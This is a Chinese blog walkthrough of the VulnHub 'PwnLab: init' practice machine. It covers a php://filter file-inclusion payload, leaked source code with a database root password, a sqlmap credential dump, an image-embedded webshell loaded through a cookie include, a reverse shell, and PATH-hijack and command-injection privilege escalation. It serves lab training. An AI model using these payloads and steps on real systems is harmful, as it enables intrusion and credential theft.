简介

靶机地址 https://www.vulnhub.com/entry/pwnlab-init,158/

信息收集

11. PwnLab init 靶机

web 渗透

11. PwnLab init 靶机

扫目录

11. PwnLab init 靶机

登录处sql 注入

11. PwnLab init 靶机

sqlmap 跑失败了

检测数据包中敏感字段

11. PwnLab init 靶机

尝试未授权直接访问 upload.php ,失败

尝试 page 处文件包含,发现可以读取文件

page 参数文件包含

根据扫目录扫描出来的文件名与page 包含的参数,很容易猜测出 page 参数末尾自动添加 .php 后缀。

尝试 00 截断、长度截断、?# 特殊 url 字符截断。都失败了。但不能就说这块不存在包含漏洞。

可以尝试使用 url-wrapper 读取一些数据

php://filter/convert.base64-encode/resource=index
http://192.168.200.151/?page=php%3a%2f%2ffilter%2fconvert.base64-encode%2fresource%3dindex

读取一下扫到的部分关键文件,并解码

# index.php
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>
</body>
</html>


# config.php
<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

# upload.php
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
</html>
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png");
		
		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}
		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}
		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}
		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');
		}
	}
}
?>

看来基本意图比较明确,通过 直连数据库获取到用户信息,登录进网站。然后通过上传功能上传 webshell 。最后再通过 cookie 中 lang 变量包含 webshell。

python3 sqlmap.py  -d mysql://root:H4u%QJ_H99@192.168.200.151:3306/ -D Users --dump

+------------------+--------+
| pass             | user   |
+------------------+--------+
| aVN2NVltMkdSbw== | kane   |  iSv5Ym2GRo
| Sld6WHVCSkpOeQ== | kent   |  JWzXuBJJNy
| U0lmZHNURW42SQ== | mike   |  SIfdsTEn6I
+------------------+--------+

将 webshell 附加到图片里,上传。再通过 cookie 中包含即可执行命令。

11. PwnLab init 靶机

11. PwnLab init 靶机

本地使用 nc 监听,然后反弹 shell

11. PwnLab init 靶机

提权

通过反弹 shell 之后,通过以下命令获取 full tty shell

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
[ctrl + z]
stty raw -echo; fg
stty rows 38 columns 116

先看配置 是否存在问题,再尝试漏洞提权

发现 /home 下存在 4个用户,有三个的密码已经得到,逐个登录,看是否有敏感文件

11. PwnLab init 靶机

kane 用户

11. PwnLab init 靶机

11. PwnLab init 靶机

尝试库劫持,但目标主机没有 strace 这个命令

strace msgmike 2>&1 | grep -i -E "(open|access)*no file"

没思路了,看下 writeup ,提示可以通过修改 PATH ,从而劫持 cat。

11. PwnLab init 靶机

11. PwnLab init 靶机

从而获取到 mike 用户的 shell

kent 用户

没有值得注意的文件

11. PwnLab init 靶机

mike 用户

密码不对,登录失败。

通过 kane 用户家目录下 msgmike 获取到 shell 后

11. PwnLab init 靶机

运行一下,是让输入某些东西。尝试 strings 看看有没有敏感的内容。发现以下内容

11. PwnLab init 靶机

此处意味着输入很可能会被替换为 %s 。那么就是典型的命令注入绕过。

11. PwnLab init 靶机

11. PwnLab init 靶机

11. PwnLab init 靶机

相关文章:

  • 2021-07-21
  • 2021-05-12
  • 2021-11-30
  • 2021-06-23
  • 2021-05-19
  • 2021-09-16
  • 2021-06-03
  • 2021-09-17
猜你喜欢
  • 2022-12-23
  • 2021-12-28
  • 2021-09-18
  • 2021-07-16
  • 2021-07-21
  • 2021-10-31
  • 2021-07-03
相关资源
相似解决方案